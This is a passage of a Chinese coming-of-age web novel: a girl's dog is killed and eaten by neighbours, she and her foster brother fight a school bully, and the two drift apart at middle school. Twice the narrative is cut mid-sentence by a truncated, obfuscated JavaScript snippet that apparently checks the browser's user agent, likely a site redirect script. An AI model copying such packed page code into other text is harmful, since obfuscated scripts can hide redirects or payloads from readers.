摩托车驶回石厝,没想到桂华嬢嬢也在,她看见后车架上用皮绳捆着的东西,“满汉全席索?这么大阵仗!” “啥子满汉全席,想吃就吃!”孔大勇很有派头地挥挥手。 桂华嬢嬢有些艳羡,年轻的脸庞上笑得眼尾挑起,她说:“早晓得我就不来喊了,有这些山珍海味,哪个还吃狗肉嘛!” “狗肉?”孔大勇很有兴趣,“哪里来的?” “打的嘛!我老公去林子里耍,看见有条大黑狗顺手就抓了。收拾起来快得很!多远都闻得到香气……” 孔净只觉得耳边“轰隆隆”作响,听着桂华嬢嬢的描述,她脑海里无比真实地上演整个过程。 手上拎着的蛋糕盒一下掉在地上,听不见宁桂华的惊呼和孔大勇的责骂,她拼了命一样往森林跑去。 平时只要熟悉的人接近石坑,一条就会在底下欢呼大吠。 今天,无论孔净怎么喊,始终听不到回应。 阳光铺洒,因为春天的到来,石坑底下盈满绿意开出各种颜色的小花,比任何一部动漫里的场景都要美丽。旁边那棵她和阿禾经常靠着树干逗一条的银杏树,树下有一条尼龙绳,绳子被已经凝固的棕红色血迹粘黏在石板上。 孔净蹲在石板边,把脸埋进臂弯。 不知过了多久,身后传来急促的脚步声,孔净回头,脸色惨白地质问:“你去哪里了?!你去哪里了?!一条被抓走了!一条被他们……吃了……” 陈端跑得满头大汗,柔顺的额发被风刮得向后撩起,他提着一只色彩斑斓的帆布袋,听见孔净的话,袋子提手被他攥得像是要断掉。 “对不起。” 孔净和陈端在石坑边坐了很久,直到听见李贤梅和厂里工人们在喊他们的名字,孔净才木木然从地上站起来,拍拍裤子,转身离开。 宁桂华首先看到她,气喘吁吁地跑来,“去哪儿了哦?大家到处找你们!陈端呢?” 没听见孔净回答,她还要再开口,却被孔净忽然投来的冰冷视线惊到。 “……眼睛这么红,哪个欺负你了?” 孔净绕过她,一声不吭地回到石厝。 气急败坏的李贤梅随后赶回来,看见孔净主动站在灶台前收拾从镇上买回来的食材,问了句怎么了,孔净没答,厂里还有事,她就又着急忙慌地走了。 陈端直到晚饭前才回来。 除了在石坑边上的那句“对不起”,他没再和孔净说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男生也跟着往前,并且逐渐拉近两人之间的距离,做踢腿运动时脚尖几乎碰到阿禾的屁股。 孔净站在阿禾的前面,被阿禾踢到腿才察觉到异样,她偏转过身,视线越过阿禾看了那个男生一眼。 男生很不屑地冲孔净抬手,侮辱性的手势做到一半忽然收住,因为他感觉到斜后方有道静冷目光钉在他后脑勺上。 他脸色阴沉,退而求其次用口型对孔净说了句,“阿巴嘎!” 紧接着变本加厉弓着身子往前,脸上粉刺快要贴上阿禾的耳背:“昨天体检有没有被医生看到小妹妹啊?哈哈哈……” 那天黑色轿车司机也骂过孔大勇是“阿巴嘎”,也许是被这三个字刺激到,也许只是单纯地想替阿禾反击,孔净忽然转过身,几步走过去,抬手就是一巴掌。 男生被打懵,根本没想过会被孔净——一个看起来文静柔弱成天只知道学习的女生扇脸。 下一瞬,他感觉到痛的不止是脸,还有脚、腿、肩膀、胳膊、甚至小腹以下也被踢了一脚…… “去你爸的臭傻逼!” “只会欺负弱小!” “烂家伙!” “坏东西!” 孔净从来没有骂过脏话也没有打过架,可她就是这么做了,一边骂一边用手用脚用尽力气去抓去打。 做早操的队伍早就乱了,在周围人的围观和惊呼中男生终于反应过来,孔净以为自己会结实挨上几拳,一个白色身影却冲进了包围圈,以比她狠厉百倍的姿态将那个粉刺男掼倒在地。 粉刺男被打红了眼,不管不顾地反击,孔净看出来陈端占优势,但是她被推开之后还是义无反顾地再次冲上去,狠狠踩中男生去抓地上沙子的手。 几个男老师费力把扭打在一起的三人拉开。 孔净的马尾早就散了,混乱中被粉刺男薅了一把,蓬乱如鸡窝,衣服和裤子离开原先的位置歪歪扭扭地挂在身上,脸很红,两只眼睛像要喷出火来。 “陈端和这个刺头我先不说了,孔净你怎么……”老师百思不得其解,“被上身了?” 孔净说,“可能连鬼也看不惯这种人吧。” 老师瞠目结舌,旁边却突然传来一道笑声,陈端脸上和身上都有淤青,一边嘴角还破皮挂着血渍,样子很狼狈,可他双眼黑得发亮扬唇笑得连肩膀也在抖,笑着笑着向后靠在墙壁上,视线越过中间几人。 孔净刚才打架被薅头发都没哭,此刻对上陈端的目光却忽然眼眶泛酸。 可怜的一条,虚伪的大人,破败的童年……这一切都糟透了! 可是可是,再无力的小孩居然也有自己的同盟。 孔净吸了吸鼻子,用口型对陈端说了句,“对不起。” 陈端不笑了,脸上没什么表情。 但是孔净知道,这代表,“没关系。” 就这样,教室外的夏天提前落幕,又徐徐展开。 8. 第 8 章 两年后,梅村中学—— “快快快!孔净你快点啦!” 下课铃声刚响完,阿禾就从二班教室冲出来,站在一班走廊上对着孔净疯狂挥手。 孔净手忙脚乱地收拾东西,阿禾急得从窗户伸进手来帮孔净把钢笔塞进笔袋。孔净怕自己再慢点,阿禾会从窗户爬进来,有点吓人,于是赶紧挤出座位和她汇合。 阿禾就像接力赛运动员,两只脚已经动起来,一只手往后抓住孔净的胳膊就带着她飞冲出去。 越过前面同样穿蓝白校服的人,两个身影跑出校园,白色运动鞋在种满香樟的柏油路上敲出清脆节拍。 跑过岔路口,一棵香樟树下铺开七八张矮桌,阿禾拉着孔净占据完全被树荫遮蔽的那张,气都还没喘匀就转头甜甜高喊:“我们要两份,菜汤里多加葱花,谢谢阿姨!” “好啦,过来拿。”很快,阿姨从旁边小屋的窗洞中把她们的饭菜递出来。 咸肉焖饭和虾皮紫菜汤是阿姨的拿手好菜,据说从她在梅村中学外开饭馆起就凭借这门手艺赢得了每届学生的夸赞。倘若想换换口味,阿姨还准备了五花大肉粽、牛肉羹和扁食供手头宽裕的学生选择。 阿禾和孔净明显属于不宽裕的类型,于是每天中午和傍晚都只要五元一份的固定饭菜套餐。 学校也有食堂供应快餐,但是不像这家饭馆物美价廉,打饭的阿伯也没有饭馆阿姨大方,要是想在不加钱的基础上多要一点点点哪怕是菜汤,阿伯都会用手里的长柄杓子“吭吭吭”地敲几下餐盘,盘子里本就不多的肉条抖啊抖,眼睁睁掉回了打菜盆。 “人小胃口大,吃多积食,阿伯是为你好!” 软糯咸香的焖饭在舌尖迸发美味,配上一口热腾腾的紫菜汤,阿禾吃得额头冒汗发出一声满足的喟叹。 “英语作业做完了吗?待会借我抄!” “没有哦。”孔净用勺子把碗里最后一口焖饭刮干净送到嘴边。 “我才不信咧!你每次交作业都超积极好吗!老师在我们班也夸你!” 梅村中学收纳来自附近几个村庄和工厂的学生,但是多数有远见的家长会选择把孩子送去镇里的中学,因此梅村中学每个年级只有三个班,每个班三十多个学生。 孔净和阿禾不同班,但是因为任课老师都一样,所以不仅每天约在一起觅食,阿禾还会以“一起做作业”的名义赖在孔净的座位边和宿舍里,可以说是形影不离。 付了饭钱,阿禾和孔净慢慢走去拐角那家文具店,又是一年夏天,亚热带海风吹走本就不多的暑气,明烈阳光照在身上并不觉得热,很舒适的温度。 “诶诶快看,是陈端!”文具货架对面有个女生发出一声低呼,她推推身边的同伴,“你不是说想和他交朋友?快去啊。” 店门外,两排香樟树枝叶相连,阳光穿过拱形华盖落下斑驳星点,穿蓝白校服的少年身影颀长,眉眼安静。 他走到文具店外面的冰柜前,一手撑在冰柜上,一手推开柜门,因为个子高所以微微弓着背,低头从里面拿了几只雪糕。 趁着他在柜台前结账,想和陈端交朋友的女生红着脸走过去,“我请你,我是三班的张……” “不用了,谢谢。” 陈端叼着一支雪糕,收回找零。 文具店老板见他转身就走,连忙叫住他,“还有两支不要哦?” 陈端回头,视线朝货架那边扫去,“有人拿。” “……嗯?” 老板疑惑,陈端刚走,就看见一个身影跑过来,手速奇快捞走放在柜台上的雪糕。 “欧!巧乐兹!陈端怎么知道这是我的最爱!吼!” 阿禾撕开包装,心满意足地咬下去,双眼斜斜往上一挑,笑眯眯地看向刚才那个被陈端当面拒绝的女生。 女生双颊臊红,她的同伴看出阿禾在挑衅,“喂,你跟陈端是什么关系?他为什么买东西给你?” “同班同学啰。”阿禾耸耸肩,把另一支雪糕塞到孔净手上,拉着她就走了。 走出一段路之后,她回头望一眼,“哈哈哈,你有没有看见她们被气成了猪肝色!” “有啦。”孔净配合地点点头,阿禾笑得超大声。 “但是,”孔净咬着雪糕提醒阿禾,“不要这么张扬啦,小心被找麻烦。” “我才不怕!” 可能是小学毕业之前孔净为了阿禾和男生大打出手那次,给她留下的印象太深,上了初中之后,阿禾变得要比以前尖锐很多,甚至在初二这年喜提小跟班。 “再说了,我是在帮你挡火力诶!”阿禾大言不惭,“如果被她们知道你和陈端的关系,你会被烦死!所以吼,为了让你专心学习,我只好牺牲自己。” “真是谢谢你了。” “知道就好。英语作业记得借我抄!” 上初中之后孔净和陈端延续小学的相处模式,他们在学校很少有交集,因为报道那天没带家长,所以连老师也不知道他们每周五放学后回的其实是同一个家。 又加上以前小学相熟的人来这里上学的只有那么几个,本来就因为孔净和陈端冷淡如陌生人而怀疑他们到底是不是姐弟,后来你不提我不提,居然都忘了这么一回事。 “话说回来,”阿禾觉得蛮奇怪,“你干嘛不理陈端?” “没有不理啊。”孔净说。 “哦,那你们为什么互相不理?” “也没有啊,你手里拿的雪糕是谁买的?” “明明是陈端给我买,顺便给你也带一支!” “这样啊,再次谢谢你。” “哎呀哎呀。”阿禾举着吃完的雪糕棍在路边扭得像上了发条。 阿禾话是这么说,但实际上在没有孔净在场的情况下她根本不会主动去招惹陈端。 “陈端比以前更正太没错,但是没有攻击性的安静美男子只是假象好吗。那次打架他凶成那样,如果不是后来老师来拉,我超怕他会把那个家伙——”阿禾夸张地做了个抹脖子的动作,“总之,我觉得他无法驾驭。” “这就是你食言不请他拍大头贴和吃冰淇淋的理由吗?”孔净吃完雪糕,把雪糕棍装进包装袋,折了两折拿在手里等进了学校扔进垃圾桶里。 “额……我有说过要请他?”阿禾假装失忆,先一步跑进一班教室当着孔净的面顺走她的作业本,不止英语,语文、数学、物理……能拿的全都扫荡一空。 周五下午提前放学,阿禾要去小跟班家里看碟片,最后一节课没上就跑了。孔净抱着课本去宿舍收拾东西,出来时停车棚里已经没剩几辆自行车。 孔净把书包放进前车袋,不疾不徐地骑着出了校门。 骑过香樟柏油路就是连接附近几个村镇的大马路,路口有几家经营网吧、台球厅、录像厅之类的铺面。班主任曾经在课堂上严令禁止大家出入这类地方,但无论什么时候这几家铺面都生意兴隆,周末这几天尤其挤满了各种黄毛绿毛。 孔净扫了眼店铺前边专门给来消费的学生辟出的停车位,单脚支地,同时右手指尖拨动车铃。 清脆悦耳的铃声响起,她随即仰头,看见门店二楼的窗户里有个蓝白色身影从位置上起身。 在门口那个黄毛吹起流氓哨之前,孔净支在地上的右腿轻快一蹬,马尾高高扬起,蓝白校服迅速融进落日余晖。 没过多久,身后响起相同音色和音调的车铃声,孔净回头,少年骑着和她同款不同色的自行车慢慢追了上来。 “并行很危险。”孔净掌着龙头往路边靠。 “嗯。”陈端从善如流,却没有减速或者加速的自觉。 孔净只好减缓车速,陈端偏头看她,也跟着刹车。 孔净说:“再这样下次我不叫你了。” “哦。”陈端像是真被她这句没有杀伤力的话给拿捏住了,被校服裹着的长腿踩在脚踏上,让自行车在静止中保持平衡。 孔净越过他,骑过一段路后又嫌他慢,拐进通往厂区的小路后索性停下来等他。 “你上网一般都干什么?”陈端刚要错身而过,孔净就重新踩动踏板。 “打游戏,看电影。”陈端的声音听起来很干净,和沿海夏日的晚风一样清爽。 “ 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孔净朝后面看一眼,被晚霞拂照的路面空荡荡,他应该又拐去石坑了。 “……不知道。”垂眼,把自行车推进简棚,然后抱着书包走出来。 李贤梅从腰袢上解下钥匙,锁眼发旧不太好开,她连续捅了好几下,“哐当”一声把铁门推得撞上里面的隔挡。 “一天天跑得连人影都看不到,干脆一直不回来好了!” 她说话没个指代,像是在骂陈端也像是在骂孔大勇。 孔净没应李贤梅这句,她进了屋,不着急做作业,先去看灶台下有什么食材。 她拎着一袋子表皮已经发青长芽的土豆转头问李贤梅:“晚上炖土豆吧,再不吃就要坏了。” 李贤梅坐在桌子边给自己捶腿,她在厂里忙活了一整天,一身骨头又沉又痛。 她点点头,指挥孔净给自己倒了杯水。 “你少跟陈端学,在你爸面前装装样子就算了,去学校能少打交道就少打交道——你们宿舍离得不近吧?” 李贤梅端着杯子忽然发问。 小学毕业前的那次打架事件,虽然后来老师理清事情经过后证明孔净的出发点是为阿禾打抱不平,但是由于有陈端的加入,李贤梅坚持认为孔净就是被他带坏,不然孔净怎么有胆子和刺头动手。 李贤梅私下多次耳提面命,要孔净洁身自好,离陈端有多远就多远。 “不近,”孔净蹲在灶台边削土豆,每削一下土豆皮就从刀片中卷曲掉落,她想了下,又说,“隔很远。” “再远能远到哪里去。”李贤梅不满意,“要是能隔离就好了。” 她其实想说的是能把陈端送走就好了。 可是陈端在这个家已经住了快六年,虽然他还是不肯改口,孔大勇却待他比亲儿子还亲。 有次李贤梅不过和他随口提了一句,再想办法联系看看陈端那对出去创业却至今下落不明的父母,孔大勇鼓起金鱼眼说她是想要他的命! 相熟的姐妹劝李贤梅,“就当儿子养嘛,你生不出来,老天爷专门送给你的!一个女人没有儿子,家庭总归不稳。你看看自从有了陈端,孔大勇是不是老实多了?” …… 门外传来自行车链条转动的声音,李贤梅拉回思绪,看见陈端拎着书包进门,一转眼就六年了啊,陈端十四岁,当初那个小小白白的小孩已经长成了雪松一样的少年,静明五官在黯淡光线里也出彩,她和孔大勇就算能生,能生出这样的孩子吗? “回来了?”李贤梅招呼一声,当着陈端的面她的态度算不上亲热,但也不冷淡。 “嗯。” 陈端走过去,把书包挂在铁架床侧边的挂钩上,旁边隔着小段距离并排挂着的是孔净的书包。 他放下包又出去了,走出门之前轻垂一下眼,孔净捧着削好的一盆土豆站起身,视线自下而上,同他轻轻一碰。 9. 第 9 章 晚饭只有他们三个人吃,孔大勇说去给某个兄弟庆生,昨天出门直到现在还没回来。 饭桌上没人说话,碗筷偶尔撞出声响,电视机经年不变地播放新闻联播。 厂里效益不好,好不容易接了一张稍大点的单,李贤梅要去盯着工人换新磨料,放下碗就走了。 走之前,她从兜里拿出几张小钞给孔净,“我晚上不定什么时候回来,明天也走得早,你去买菜顺便带个西瓜回来,用冷水浸凉了送半个给桂华,她上回给我们拿了杨梅。” 孔净应了。等陈端吃完,她起身收拾。 “明天去还是等会?” 孔净端着碗碟去旁边的简棚清洗,陈端随后打开手电筒走在她身后。 手电光柱照着水龙头,孔净挤了一泵洗洁精在抹布上,抹布被水冲出白密泡沫,孔净从溢满水的铁盆里捞出一只待洗的碗。 “明天……其实都一样。”水声哗哗,孔净的声线听起来有些缈远。 陈端忽然手腕一转,手电泛蓝的光柱落在孔净脸上,她不妨眯了下眼,“干嘛!” “蚊子。”陈端说。 “哪里?”孔净抬起沾了泡沫的手隔空扇几下。 “这里。”手电的光在孔净脸上来回轻扫,陈端说,“好了。” 没被咬到,孔净还是觉得痒,冲掉泡沫伸手抓了抓,左边脸颊沾上水膜在光晕里透着薄亮。 “走啦。”她端起洗净的餐具,见陈端还站在水槽边就回头喊他。 陈端收回神,跟着进了屋。 孔净擦干手,把课本拿出来温习。 她很专心,余光瞥见陈端出去也没想起抬一下头。 快九点,孔净把书扣放在桌上,去打水洗脸。 其实是想洗澡的,沿海的夏季虽然没有酷暑这一说,但一天下来身上总是有点黏腻。 可是家里没有独立卫生间,要上厕所和洗澡都要去厂里。 不过,洗澡倒是可以忍到明天,晚上起夜就麻烦了。李贤梅在旁边简棚里放了一个夜壶,以前孔净还小,用起来没有心理负担,现在就不行了,每个周末回家她晚上总是能不喝水就不喝水,可要是碰到闹肚子就完了。 比如现在,孔净怀疑晚饭吃的土豆有问题,早知道就少吃点了。 外面传来开门声,孔净蜷缩着从床上坐起来,陈端提着两个大西瓜走进来。 “怎么了?”孔净没出声,陈端隔着一段距离透过蚊帐就看出她不对劲。 “……肚子不舒服。”孔净无奈,是真的忍不住了,她两条腿伸出蚊帐去够地上的拖鞋。 陈端放下西瓜,腾出一只手拿起手电,没说多余的话,转身往门外走。 孔净在后面偷偷摸摸揣了些卫生纸在兜里,靸着拖鞋追上去。 两人前后穿过去石材厂的小路,手电的光从陈端的身侧向后一晃一晃地照在路上,孔净低头看路,腹痛减轻了一些,她分出心来问陈端:“你怎么不把西瓜拎上?” 陈端事先什么也没说,但孔净知道他是听到李贤梅嘱咐她的话。 陈端这会儿也不是很想说话,但想了想还是应了声,“没拎。” 孔净其实知道为什么,她也是慢慢才知道陈端骨子里和外表颠覆性的狠绝。 因为一条的事,她不再去宁桂华屋里,见了王立胜要么假装没看见埋头就走,要么实在躲不过就礼貌性地点一下头。可陈端比她还绝,那天从林子回来之后他去掀了宁桂华家的锅,滚烫的狗肉泼在王立胜腿上,导致他养了大半个月才重新上工。 碍着孔大勇的面,王立胜和宁桂华都不好说什么,拿了医药费和“赔偿金”,偃旗息鼓道:“小孩子,难道还跟他一般见识。” 但陈端并不领这个情,孔净相信要不是因为王立胜是孔大勇请的工人,他也许会更激进。 孔净有时候觉得或许陈端身上真的流着孔大勇的血,不然怎么会青出于蓝胜于蓝。 “那我等会把钱给你——啊!” 几乎是在听见孔净发出惊呼的同时,陈端就转身走到了她面前,孔净拍拍胸口,“吓死我了,好像是只青蛙。” “嗯。” 陈端就没再往前走,而是走在孔净身侧,调整手电,光柱稳稳照在她脚下。 “等会回去我把钱给你。”孔净拾起刚才的话头。 “卖蘑菇的钱吗?”陈端的声音从侧上方传来,同晚风、窸窣虫鸣一起擦过耳际。 “什么啊,是妈刚才给的买西瓜的钱。” 厂房灯光大亮,把黑夜也照成白昼,孔净两步跃下台阶。 而陈端在孔净身后昏冥的光线中,迟疑一瞬,还是像往前一样慢下脚步,在人前同她拉开距离。 一排石头房子也都亮着灯,休班的工人和各家女眷都在前面的石板上乘凉,有些干脆点盘蚊香躺下睡觉。 孔净埋头快速走过,宁桂华眼尖一下发现她,一边摇着蒲扇一边从石板上撑坐起来,颜色鲜丽的绵绸连衣裙像开在暗色里的大丽花,“孔净去哪儿?过来嗑瓜子。” “不了,我去那边。” “别跑啊。害,越长大越害羞!”宁桂华嗓门大声音又带着年轻女人的娇俏,昏黄光线里几个男人转头看过来。 孔净跑走了。 宁桂华余光瞥见从暗影里走出来的陈端,撇了下嘴。 孔净解决完一桩大事,站在水槽前洗手,转过身就看见黑漆漆的墙根下竖着一条黑影,她一口凉气还没倒吸完全,黑影视线落在她身上,同时朝她走了过来,“又吓到了?” “才没有。”孔净看清是陈端,又转头看了看身后。 她不太想再从石头房子前面路过。 陈端说:“走后身回去吧。” “也、行。”孔净就是这么想的,正好陈端提出来。 石头房子后面的路有点荒,夏天草木疯长,像在林地里穿行。 好在路不是很长,孔净也不是一个人。 回到石厝,李贤梅还没回来。孔净从书包里抽了本薄册子钻进下铺,陈端攀着梯子翻上上铺时,孔净很警觉地抱着书整个滑进凉被。 陈端其实什么也没说,孔净却做贼心虚,在下铺伸长胳膊去捶上铺的床垫,“你看见了?” “什么?”陈端的声音很轻,像是刚要睡着就被吵醒。 孔净想了想,说:“没什么。” 过了会,她又捶一下,“你还在画画吗?” 间隔两三秒,陈端才“嗯”了声。 孔净说:“你要不要投稿?我看见杂志上有插画征稿,你可以试试。” 又是间隔两三秒,又是一声低低的“嗯”,看来很困了。 孔净轻轻把摊在膝盖上的册子翻过一页,安静没两分钟,她“啊”了一声,坐直身子伸手把上铺床垫捶了又捶,“我忘记给你钱了!现在,马上——” 躺在上铺的人很短促地从舌尖发出“啧”的一声,翻个身,这回没再理孔净。 孔净从书包夹层里掏出小钞,个子不够高,踮起脚尖高举胳膊,听见上面传来均匀又绵长的呼吸声,知道陈端是真的睡着了。 她蹦了两下,眼疾手快掀开上铺蚊帐把钱从凉席边沿塞进去。 晃眼看见陈端侧躺着正对外边的睡颜,想起阿禾说他是没有攻击性的美男子,其实不太准确,他就算睡着也漂亮得扎眼。 难怪学校没人怀疑她和陈端。 孔净学着阿禾的样子耸耸肩,轻手轻脚爬上床,享受一个人的私房阅读时间。 周日下午,孔净按照约定时间去老地方和阿禾汇合,她坐在树上远望青黄油绿的夏日田野,一阵阵风过,头顶上方那些刚长出来的青绿芒果就在风中拽着枝丫点头。 “拍些拍些(不好意思不好意思)!”阿禾姗姗来迟,手脚并用像只浣熊几下爬上芒果树。 “你迟到了半小时哦。”孔净表情无语,看见好朋友从包包里掏出来一杯珍珠奶茶,一下愣住,“哪里来的?” 彼时,海峡对岸的风更加狂热地吹来,珍珠奶茶、手抓饼等街头小吃在各大商圈和学校门口如雨后春笋般一夜冒头。可惜梅村中学外面暂时还没有,最近要去镇上才买得到。 阿禾洋洋得意,“拜托,我现在也是老大诶!当然是小弟……啊不,小姐妹进贡给我的!” 她让孔净拿着奶茶,自己则再掏出一支吸管,“啪”地一下戳穿上面的塑封。 里面的冰块快化了,沁出密密水珠,顺着孔净的指缝汇成涓流流到她的手心里,凉凉的。 “你喝呀!”阿禾双眼晶亮,握着孔净的手把奶茶推到她面前。 孔净好馋,舌尖分泌比平时多几倍的唾液,但是她摇摇头,“你喝。” “哎呀呀,一杯奶茶而已,干嘛学孔融让梨!”阿禾一副喝惯了的姿态,但是用力咽口水的声音恐怕连路过的飞鸟都听得清楚。 结果就是孔净小心撕掉上面的塑封,和阿禾对着杯沿你一口我一口。 喝到一半,阿禾突然反应过来,“吼!你嫌弃我的口水!” “哪有。”孔净不承认。 “有吸管不用,干嘛这样。好奇怪!”阿禾坚持。 孔净说:“不奇怪啊,我看电视里的女主角喝咖啡就是这样。” 阿禾仰头想了下,眼睛笑眯眯的,“……好像是诶,吼!” …… 奶茶沁凉甜蜜,孔净和阿禾坐在半空中,惬意地晃荡着小腿。 可是喝完奶茶阿禾就要走。 孔净:“……” “啊那个,我也很烦啦!都怪水宝!她租的碟片明天就到期了,今天如果不看完很浪费……” 水宝就是阿禾的小跟班,今年上初一,她刚进校没多久就被阿禾选中连蒙带拐认了干妹妹。 “到底演的是什么,你们看得这么痴迷?”孔净疑问。 阿禾嘴巴一抿,煞有介事地左右看看,然后凑近孔净。 “啊啊啊!别说了!”孔净听了之后连耳朵都不想要了。 阿禾却一脸兴奋,“你要不要一起?” “不要!” 面对孔净幽幽的目光,阿禾只好心虚地抱住树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔净咬牙忍耐小腹一浪高过一浪的锥痛,声音从高处传下来,又闷又拧巴。 陈端轻轻蹙眉,有些不解。 下一秒,视线捕捉到什么,他垂下眼睫,颜色透白的耳廓瞬间烧红。 孔净比他还要红,“你快走——啊!!” 她一激动,重心不稳差点从半空掉下来,还好身体本能反应抓住了前面的树枝……尖尖。 孔净下半身坐在横着的树干上,上半身被弹力十足的树枝尖尖带着很有节奏地上下、左右晃动,某个瞬间她甚至感觉到屁股已经离开树干,脚下腾空,摔断腿的梦想近在咫尺。 可悲的是并没有,她就像个马戏团新人被迫在树上表演一番。 陈端仰头又低头,看也不是,不看也不是,然后就听见了头顶上方传来“哇”的一声。 孔净哭了。 陈端:“……” “你要不要——” “闭嘴!!” 孔净哭得抽噎不止,这种哭法只在很小的时候被李贤梅用可乐瓶打屁股时才会出现,现在的情形和被打屁股也差不多了,就是伤害性寥寥侮辱性极强。 然而她越哭,某个部位传来的流泻感越强,腹痛也越明显,孔净的心理防线完全崩了。 她边哭边不忘叫陈端走,又骂又威胁。 不过这种“骂”与“威胁”是她自认为的,毕竟脏话词库匮乏,喉咙又被哭声占据,听在别人耳朵里不过是“呜呜呜”一样吹过树梢的风。 陈端立在树下石化了一样,脸上看不出有什么表情,只是绯薄的双唇紧抿着,耳廓也由桃红转成了血红。 过了一会儿,孔净在哭骂之余听见异常响动,警觉拉下捂脸的手,“……谁让你上来的?!——下去!!!” 陈端仗着身高腿长悄没声就攀上了树,猫身在离孔净半米远的地方,一手抓着头上的枝丫,另一手把提着的布袋递过去。 “是要教我画画还是怎样?!陈端你是不是有病!”孔净认出这个帆布袋是陈端用来装空白本和铅笔之类的画具。 “……”,陈端眼皮微抬,擦过孔净后脖颈蓬茸的碎发随即移开,他声音不太自在,“给你挡一下。” 孔净不想要,她只想一个人待在树上自生自灭。 但显然,不可能。 孔净也不知道自己是怎么忍着被人看了笑话的羞耻心从树上下来的。 陈端背对着通过声音分辨她安全落地,不知怎么微微松了一口气。 孔净两手提着帆布袋背在身后,刚要走,面前的少年两手撑在膝盖上,弯下了腰。 “上来。” “……不要!我自己能走!”孔净很决绝。 “林子里黑得早,走慢了……有鬼。” 孔净:“……!” 陈端维持着半蹲的姿势,抿着唇视线微微朝后扫去。 孔净快气死,两眼一闭,爬上少年后背。 10. 第 10 章 孔净一手搭在陈端肩膀上,另一手背在身后提着帆布袋,为了防止贴得太紧,上半身和少年后背空出一道距离。 很别扭的姿势。 孔净不舒服,陈端应该也没好到哪儿去。 孔净说要下去,陈端没吭声。 孔净动了几下,陈端说:“摔了。” 孔净“哦”一声,算了,不动了。 她才发现陈端看着单薄,但实际上肩膀宽阔,手掌按在他一侧斜方肌上,结实而有力。 就这么一路无话着实有些尴尬,孔净问他:“你有多高?一米八?一米七?” “两米。” “……”孔净无语,“你说少了,三米我看差不多。” 陈端轻笑一下,“可能就是三米。” 孔净说:“我一米六,上周体育课刚量了。” 陈端捧场:“好高。” “没你高。”孔净觉得奇怪,“你不是比我小一岁,怎么长这么快?你爸妈很高吗?” “……应该,记不清了。” 穿过一处密林,老树遮天蔽日,天好像一下就黑了。陈端走得很稳,声音在深暗的环境里听起来有些清虚,像一阵没有来由也找不到归处的风。 孔净也觉得这个话题太沉重了,她记得那一阵厂里都在传陈端的爸妈不在了,但具体如何从来没听当事人亲口提过。 腹痛一阵一阵的,有时重有时轻,孔净侧过脸额角轻轻抵在陈端的肩胛骨上,身体随着他的步伐微微晃动,呼吸慢慢放匀。 霞光钻进眼缝,孔净抬起头,视线穿过前面长长的林间隧道已经能看见瓷砖厂高高耸起的锈红色烟囱。 她说:“我下来自己走。” 陈端两手握拳腕骨托着孔净的膝弯,“很快到了。” “我知道。”孔净很坚决,另一只拎着帆布袋的手也撑在他的肩膀上,两条腿挣着,“会被看到。” 陈端一怔,脚步慢下来,问出一直想问的问题:“被看到,会怎样?” 孔净双脚踩在地上,一时回答不上来,但又觉得答案显而易见,“就是不想被看到啊。我们不是一直都这样?” 陈端低垂着眼,额发柔软挡在眉骨上方,表情说不上来的冷寂。 “是,一直。” 说完,他往前走。 孔净张了张嘴,想喊他别走那么快,昏暗树影扫在少年远去的身影,转眼就见他拐向出口的岔道,往另一个方向去了。 察觉到陈端突然的情绪直落,但不明白为什么。 孔净抿了下唇,一手拽着帆布袋,另一手扯了扯衣服下摆。 远远看到石厝铁门半敞,孔净路过窗外时伸头朝里看了眼,屋里没人,旁边简棚里传来哗哗水声。 她悄没声地进屋,刚走到铁架床边,身后就传来李贤梅的声音:“去哪儿了?一天到晚瞎跑,明天就回学校了作业做完了吗?” 孔净飞快把帆布袋挂在挂钩上,转过身,李贤梅端着一盆刚洗过的空心菜正蹙眉看着她。 “写完了,下午约了阿禾……”孔净慢慢走过来,有些难以启齿,“妈,我来那——”个了。 “去外面扯点蒜苗。”孔净说什么,李贤梅根本没注意听,她把空心菜放在灶台上,伸手在墙上取了一块腊肉下来,用刀割下两指宽的一截后又重新挂回去,没听见孔净出去的响动,她转过头,“还杵着干什么?” “我……去下厕所。”孔净对上妈妈的表情,想说的话一下被堵了回去,她走到床边从行李袋里掏东西。 李贤梅没在意孔净在干什么,她只觉得不满,她太累了,家里厂里什么都要她操持,没一个能指望得上。 她用刀一下重过一下地刮着腊肉皮,拎着腊肉去简棚,看见孔净微微弯着腰往厂里公厕跑去的背影,“拿裤子干什么?到底洗澡还是上厕所?!” “……一让干点什么就跑得飞快。有本事大家都不吃不喝当神仙!” 李贤梅把腊肉丢进水槽,察觉到脚步声,她回头,陈端回来了,他正要进屋,“梅姨。” 李贤梅不咸不淡地应了声,听见屋里随后响起的电视声音,她俯身用不锈钢球把腊肉翻来覆去地刷,恨不得把皮都刷掉,乌黑水渍溅到衣服上也没理。 孔净在底下把换下来的裤子洗干净了才回来,晾上之后甩甩手正打算去摘蒜苗,孔大勇回来了,他叫孔净去小卖店拎两瓶冰啤酒回来。 孔净看一眼站在灶台前把锅铲舞得“吭吭”响的李贤梅,正要开口,陈端从电视机前站起来,“我去。” “还是儿砸好!”孔大勇像突然得了什么奖赏,他从兜里掏出用脱了色的皮夹,大方抽出一张绿票子,让陈端想买什么就买什么。 陈端接过钱,走出门前,李贤梅手里的铲子敲一下锅沿,她忽然转头跟孔净说:“你也去!钱在枕头底下,自己拿!” 孔大勇最近这段时间神出鬼没的病又犯了,知道李贤梅是在跟自己置气,他笑嘻嘻地又给了孔净二十块,“你们姐弟俩一起,莫说爸爸偏心。” 孔净身体不舒服,当下唯一的愿望就是躺下来歇一歇,但是她不能不去,她不想忤逆李贤梅和孔大勇中的任何一个,更不想变成李贤梅情绪爆发的缘由。 孔净和陈端一前一后绕着石材厂的土石路去小卖店,孔净走得很慢,气氛有点怪,她和陈端谁都没有说话。 